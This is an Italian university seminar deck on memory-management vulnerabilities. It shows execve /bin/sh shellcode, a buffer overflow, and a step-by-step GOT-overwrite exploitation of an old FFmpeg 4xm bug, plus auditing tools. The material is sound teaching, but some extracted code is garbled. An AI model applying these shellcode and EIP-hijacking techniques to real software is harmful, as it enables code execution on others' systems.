1. Vulnerabilità nella gestione della
memoria e tecniche di exploit
Corso di Laurea Magistrale in Informatica –
Università di Cagliari
Seminario per il corso di Fondamenti di
Sicurezza – A.D. 2012
Relatore: Hack. Stefano Sabatini
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x1/0x28

2. Attacco e difesa di sistemi
informatici
Felix Vallotton - Femme au chapeu Jean Baptiste Greuze – Le chapeau
noir - 1908 blanc - 1780
- Vulnerabilità nella gestione della memoria e tecniche di exploit #0x2/0x28

3. Shellcode writing
; pause.asm
SEGMENT .text
mov eax, 29 ;29 is the code for pause
int 80h
$ nasm -f elf64 pause.asm
$ ld -s -o pause pause.o
$ objdump -d pause
pause: file format elf64-x86-64
Disassembly of section .text:
00000000004000e0 <.text>:
4000e0: b8 1d 00 00 00 mov $0x1d,%eax
4000e5: cd 80 int $0x80
Lo shellcode non deve contenere caratteri
nulli.
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x3/0x28

4. Shellcode writing
; pause.asm
SEGMENT .text
xor eax, eax ;reset eax to 0
mov al, 29 ;29 is the code for pause
int 80h
$ objdump -d pause
file format elf64-x86-64
Disassembly of section .text:
00000000004000e0 <.text>:
4000e0: 31 c0 xor %eax,%eax
4000e2: b0 1d mov $0x1d,%al
4000e4: cd 80 int $0x80
const char shellcode[]="x31c0dxb0x1dxcdx80";
int main(void)
{
int (*fn)() = shellcode;
fn();
}
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x4/0x28

5. Shellcode writing
Un shellcode un po' più utile (Linux x86-64 bit):
# AT&T GNU as syntax
# as -o shellcode64.o shellcode6.s
#
# rax: system call number
# rdi: arg0
# rcx: return address for syscall/sysret
# rsi: arg1
# rdx: arg2
# r10: arg3
xor %rdx,%rdx # reset argument 1
xor %rsi,%rsi # reset argument 2
mov $0x0068732f6e69622f,%rdi # push /bin/sh to the stack
push %rdi # rsp now points to the string /bin/sh
mov %rsp,%rdi # copy the address to rsp -> arg 0
xor %rax,%rax # reset rax
mov $0x3b,%al # only write the first byte of rax
syscall # call execve
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x5/0x28

6. Shellcode injection
 Una shellcode può essere inserita all'interno
della memoria solitamente tramite buffer
overflow o scrittura su memoria di input diretto
dall'utente e tramite opportuno reindirizzamento
 La shellcode eseguita è valida solo per
particolari combinazioni di sistema
operativo/architettura
 L'exploit usato per l'iniezione dipende dalla
versione del software attaccato
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x6/0x28

7. Errori nella gestione della
memoria in programmi C
Vulnerabilità Exploit
 Buffer overflow (stack  D/DOS (Distribuited
overflow, heap Denial of Service) –
overflow) dati non validati
inducono crash o
 memleak malfunzionamenti del
 Null-pointer programma attaccato
dereference  Exploit di accesso
 Double free alla macchina
obiettivo
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x7/0x28

8. Buffer overflow
int main(void)
{
FILE *infile = fopen("/dev/stdin", "r");
char c;
int count;
 Non viene effettuato un
char buf[128]; controllo sulla lunghezza
if (!infile) {
dell'input, che sovrascrive la
fprintf(stderr, "Impossible to open input: %sn", memoria dello stack
strerror(errno));
return 1;  La sovrascrittura può
}
causare malfunzionamenti o
count = 0; crash
while ((c = fgetc(infile)) != EOF) {
if (c == 'n') {
buf[count] = 0;
 Può essere usato in modo
count = 0; da ”iniettare” codice da
} else
buf[count++] = c; eseguire all'interno del
} programma
return 0;
}
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x8/0x28

9. Controllo della macchina
obiettivo
 Solitamente avviene tramite sovrascrittura del
registro che contiene il puntatore al codice
eseguito (EIP/RIP nelle macchine X86)
 Gli exploit sono specifici per l'architettura /
sistema operativo / versione del software
attaccato
 Solitamente avvengono mediante iniezione di
codice eseguibile controllato dall'attaccante o
sovrascrittura di memoria tramite buffer
overflow
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x9/0x28

10. Caso di studio
 Vedi ”A Bug Hunter's Diary”, capitolo 4: ”NULL
pointer FTW”
 Vulnerabilità in FFmpeg/libavformat/4xm.c,
versione SVN-r16556
 FFmpeg viene utilizzato da gran parte dei
programmi multimediali in Linux e non solo, in
particolare da VLC e Google Chrome, e da
gran parte dei servizi di transcodifica, che sono
direttamente affetti dalle sue vulnerabilità
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x10/0x28

11. Caso di studio
static int fourxm_read_header(AVFormatContext *s, AVFormatParameters *ap)
{
[..]
int current_track = -1;
fourxm->track_count = 0;
fourxm->tracks = NULL;
[..]
current_track = AV_RL32(&header[i + 8]);
[..]
if (current_track + 1 > fourxm->track_count) {
fourxm->track_count = current_track + 1;
if((unsigned)fourxm->track_count >= UINT_MAX / sizeof(AudioTrack))
return -1;
fourxm->tracks = av_realloc(fourxm->tracks, fourxm->track_count *
sizeof(AudioTrack));
if (!fourxm->tracks) {
av_free(header);
return AVERROR(ENOMEM);
}
}
fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
fourxm->tracks[current_track].channels = AV_RL32(&header[i + 36]);
fourxm->tracks[current_track].sample_rate = AV_RL32(&header[i + 40]);
fourxm->tracks[current_track].bits = AV_RL32(&header[i + 44]);
[..]
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x11/0x28

12. Caso di studio
current_track = AV_RL32(&header[i + 8]);
current_track è un signed int, nel caso in cui il valore letto sia >
0x8000000 il valore assegnato è negativo.
Dinamica in caso di funzionamento ”imprevisto”
1. fourxm->tracks viene inizializzato a NULL
2. in certi casi (vedi codice completo) il valore di current_track viene
estratto dai dati forniti dall'utente nel file multimediale
3. se il valore di current_track+1 è minore di zero (ad esempio se
current_track è negativo), non viene allocato il buffer nell'heap.
4. fourxm->tracks punta ancora all'indirizzo di memoria NULL.
5. il NULL pointer viene dereferenziato usando il valore controlloato
dall'utente di current_track, e 4 valori a 32 bit (per un totale di 32 byte)
vengono assegnati alle locazioni di memoria specificate
6. quattro locazioni di memoria controllate dall'utente possono essere
sovrascritte con dati forniti dall'utente
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x12/0x28

13. Caso di studio
Exploitation
1. Trovare un sample 4x movie con un chunk strk
valido (è la parte del file che ”attiva” il codice
mostrato sopra)
2. Studiare il layout del chunk strk nel file 4xm
3. Manipolare il chunk strk in modo da indurre un
crash in FFmpeg
4. Manipolare il chunk strk in modo da ottenere
controllo del registro EIP
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x13/0x28

14. Caso di studio
 Passo 1 – trovare un sample 4xm
 Sample per molti formati multimediali possono
essere trovati su: http://samples.ffmpeg.org/
 In particolare il file game-
formats/4xm/TimeGatep01s01n01a02_2.4xm
contiene il chunk strk.
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x14/0x28

15. Caso di studio
 Passo 2 – studiare struttura del formato
 Informazioni sul formato possono essere ottenute:
dal sito:
http://wiki.multimedia.cx/index.phptitle=4xm_Format
bytes 0-3 fourcc: 'strk'
bytes 4-7 length of strk structure (40 or 0x28 bytes)
bytes 8-11 track number
bytes 12-15 audio type: 0 = PCM, 1 = 4X IMA ADPCM
bytes 16-35 unknown
bytes 36-39 number of audio channels
bytes 40-43 audio sample rate
bytes 44-47 audio sample resolution (8 or 16 bits)
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x15/0x28

16. Caso di studio
 Passo 3 – manipolare il sample in modo da
indurre un crash
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x16/0x28

17. Caso di studio
 Passo 4 – prendere controllo del registro
EIP
 Dall'analisi del crash si può dedurre come viene
calcolata la regione che viene scritta in memoria,
nel caso specifico si ottiene:
(ebx * 20) + 0x10 = destination address of the write operation
(ebx contiene il valore di current_track) che
corrisponde al codice C:
fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
 A questo punto si tratta di individuare quale
locazione di memoria sovrascrivere per prendere
controllo dell'EIP.
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x17/0x28

18. Caso di studio
 La GOT è una tabella caratteristica del formato ELF (Executable and
Linkable Format) usata da Linux.
 La tecnica adottata consiste nella sovrascrittura della GOT (Global
Offset Table) entry associata alla prossima chiamata a funzione di
sistema. L'indirizzo associato alla funzione viene sovrascritto nell'EIP
nel momento in cui la funzione è chiamata.
 Dall'analisi del codice si vede che la prossima chiamata a funzione di
sistema nel codice corrisponde al seguente diagramma:
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x18/0x28

19. Caso di studio
 Si utilizza objdump per ottenere tale valore:
$ objdump -R ffmpeg_g | grep memalign
08560204 R_386_JUMP_SLOT
posix_memalign
 Si tratta quindi di calcolare il valore per
current_track in modo che sia:
(current_track * 20) + 0x10 = 0x08560204
 Lo si computa tramite il seguente programma,
e si ottiene il valore: 8d378019
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x19/0x28

20. Caso di studio
 Approccio basato sulla ”forza bruta” per il calcolo del
valore da assegnare a current_track per sovrascrivere il
valore di memoria voluto:
#include <stdio.h>
// GOT entry address of memalign()
#define MEMALIGN_GOT_ADDR 0x08560204
// Min and max value for 'current_track’
#define SEARCH_START 0x80000000
#define SEARCH_END 0xFFFFFFFF
int main (void)
{
unsigned int a, b = 0;
for (a = SEARCH_START; a < SEARCH_END; a++) {
b = (a * 20) + 0x10;
if (b == MEMALIGN_GOT_ADDR) {
printf ("Value for 'current_track': %08xn", a);
return 0;
}
}
printf ("No valid value for 'current_track' found.n");
return 1;
}
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x20/0x28

21. Caso di studio
 Il valore così ottenuto '8d378019' viene usato
per modificare il file di input
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x21/0x28

22. Caso di studio
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x22/0x28

23. Caso di studio
 Una volta sovrascritto il registro EIP con un valore
voluto, è possibile controllare il flusso di esecuzione
della macchina.
 Nel caso di studio usato, l'autore non mostra una
tecnica di exploit particolare (non è legale in Germania
– il paese dell'autore - mostrare nei dettagli delle
tecniche di exploit).
 È possibile immaginare diverse tecniche da adottare:
si può eseguire il shellcode con altre istruzioni scritte
nella memoria con gli altri assegnamenti, richiamare
codice inserito precedentemente (ad esempio tramite
buffer overflow) o saltare a una qualsiasi istruzione del
programma.
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x23/0x28

24. Tecniche di analisi delle
vulnerabilità
Analisi statica Analisi dinamica
 Auditing manuale  Fuzzing
 Controllo lessicale:  Test massivi di immissione di
individuazione ”pattern” input random
(e.g. uso di funzioni  Analisi nell'uso della
intrinsecamente ”non memoria
sicure”)
 Controlli automatici su AST
(Abstract Syntax Tree) –
analisi semantica
(integrazione con il
compilatore)
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x24/0x28

25. Tecniche di analisi delle
vulnerabilità - strumenti
 Lint (valore storico, check integrati nel compilatore)
 Rats – Rough Auditing Tool for Security:
https://www.fortify.com/ssa-elements/threat-intelligence/rats.html
 Flawfinder: http://www.dwheeler.com/flawfinder/
 Splint - Secure Programming Lint): http://www.splint.org/
 Vulncheck: http://gcc.vulncheck.org/
 Fuzz/zzuf (dynamic analysis)
 Valgrind (memory dynamic analysis): http://valgrind.org/
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x25/0x28

26. Lezione imparata
 È possibile scrivere nella memoria di un
programma del codice macchina eseguibile,
solitamente chiamato ”shellcode”
 È possibile sfruttare le falle nella gestione della
memoria di un programma C/C++ in modo da
indurre malfunzionamenti o l'esecuzione di
codice macchina ad hoc
 Esistono delle tecniche automatiche di analisi
statica e dinamica delle vulnerabilità, l'auditing
manuale è sempre necessario
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x26/0x28

27. Risorse su Internet
 Common Vulnerabilities and Exposure
http://cve.mitre.org/
 http://secunia.com/
 http://www.trapkit.de/
 MicroSoft Security Response Center:
http://www.microsoft.com/security/msrc/default.aspx
 http://www.securityfocus.com
 http://www.projectshellcode.com/
 http://www.metasploit.com/
 http://www.phrack.org
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x27/0x28

28. Bibliografia
 [KLEIN] A Bug Hunter's Diary: A Guided Tour Through the
Wilds of Software Security, Tobias Klein, No Starch press
 [ERIKSON] Hacking: The Art of Exploitation, 2 nd edition, Jon
Erikson, No Starch press
 [SOTIROV] Automatic vulnerability detection using static
source code analysis, thesis, Univ. of Alabama 2006,
Alexander Ivanov Sotirov [disponibile all'indirizzo:
http://gcc.vulncheck.org/sotirov05automatic.pdf]
 [LINUX_SHELLCODE_INTRO] Practical Linux Shellcode -
An introduction – By Barabas:
www.shell-storm.org/papers/files/432.pdf
 [METASPLOIT] David Kennedy - Metasploit: The Penetration
Tester's Guide
Vulnerabilità nella gestione della memoria e tecniche di exploit #0x28/0x28